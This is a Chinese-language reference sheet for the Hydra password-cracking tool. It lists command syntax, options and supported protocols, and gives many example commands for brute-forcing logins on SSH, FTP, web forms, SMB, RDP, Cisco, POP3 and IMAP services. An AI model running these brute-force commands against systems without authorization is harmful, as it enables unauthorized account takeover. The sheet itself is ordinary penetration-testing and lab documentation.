密码爆破_hydra

示例

hydra -l 用户名 -P 密码字典 ftp://192.168.0.1

hydra -L 用户字典 -p 密码 imap://192.168.0.1/PLAIN

hydra -C 用户名密码字典 -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5

hydra -l 用户名 -p密码 ftp://[192.168.0.0/24]/

hydra -L 用户字典 -P 密码字典 -M 目标字典 ssh

参数说明

hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [service://server[:PORT][/OPT]]

参数	说明
-R	恢复先前中止/崩溃的会话
-I	忽略现有还原文件（不要等待10秒）
-S	执行SSL连接
-s PORT	如果服务在其他默认端口上，请在此处定义它
-l LOGIN or -L FILE	使用登录名登录，或从文件加载多个登录名
-p PASS or -P FILE	尝试密码传递，或从文件加载多个密码
-x MIN:MAX:CHARSET	密码暴力强制生成，键入“-x-h”以获取帮助
-y	禁用bruteforce中的符号使用，见上文
-e nsr	尝试“n”空密码、“s”作为pass登录和/或“r”反向登录
-u	循环用户，而不是密码（有效！x-隐含）
-C FILE	冒号分隔“login:pass”格式，而不是-L/-P选项
-M FILE	要攻击的服务器列表，每行一个条目，“：”指定端口
-o FILE	将找到的登录/密码对写入文件而不是stdout
-b FORMAT	指定-o文件的格式：text（默认）、json、jsonv1
-f / -F	找到登录/通过对时退出（-M:-f每个主机，-f全局）
-t TASKS	运行任务每个目标并行连接数（默认值：16）
-T TASKS	整体并行运行任务连接（对于-M，默认值为64）
-w / -W TIME	每个线程的连接之间的响应（32）/等待时间（0）
-c TIME	所有线程上每次登录尝试的等待时间（强制执行-t1）
-4 / -6	使用IPv4（默认）/IPv6地址（始终放在[]中，也在-M中）
-v / -V / -d	详细模式/显示登录名+每次尝试通过/调试模式
-O	使用旧的SSL v2和v3
-q	不打印有关连接错误的消息
-U	服务模块使用详细信息
-h	更多命令行选项（完整帮助）
server	目标：DNS、IP或192.168.0.0/24（此选项或-M选项）
service	要破解的服务（有关支持的协议，请参见下文）
OPT	某些服务模块支持附加输入（-U表示模块帮助）

支持的服务

adam6500 asterisk cisco cisco-enable cvs firebird ftp[s] http[s]-{head|get|post} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] memcached mongodb mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2 rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp

各种用法实例

源自CSDN

1、破解ssh：

hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip ssh
hydra -l 用户名 -p 密码字典 -t 线程 -o save.log -vV ip ssh

2、破解ftp：

hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV
hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV

3、get方式提交，破解web登录：

hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php

4、post方式提交，破解web登录：

hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password"
hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form "login.php:id=^USER^&passwd=^PASS^:<title>wrong username or password</title>"
（参数说明：-t同时线程数3，-l用户名是admin，字典pass.txt，保存为out.txt，-f 当破解了一个密码就停止， 10.36.16.18目标ip，http-post-form表示破解是采用http的post方式提交的表单密码破解,<title>中 的内容是表示错误猜解的返回信息提示。）

5、破解https：

hydra -l \<用户> -p \<密码> \<IP地址> <头部信息> "\<登录页面>:\<请求正文>:\<错误消息>"

示例：

hydra -V -l admin -P /root/pass.txt 192.168.80.128 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed"

6、破解teamspeak：

hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak

7、破解cisco：

hydra -P pass.txt 10.36.16.18 cisco
hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable

8、破解smb：

hydra -l administrator -P pass.txt 10.36.16.18 smb

9、破解pop3：

hydra -l muts -P pass.txt my.pop3.mail pop3

10、破解rdp：

hydra ip rdp -l administrator -P pass.txt -V

11、破解http-proxy：

hydra -l admin -P pass.txt http-proxy://10.36.16.18

12、破解imap：

hydra -L user.txt -p secret 10.36.16.18 imap PLAIN
hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN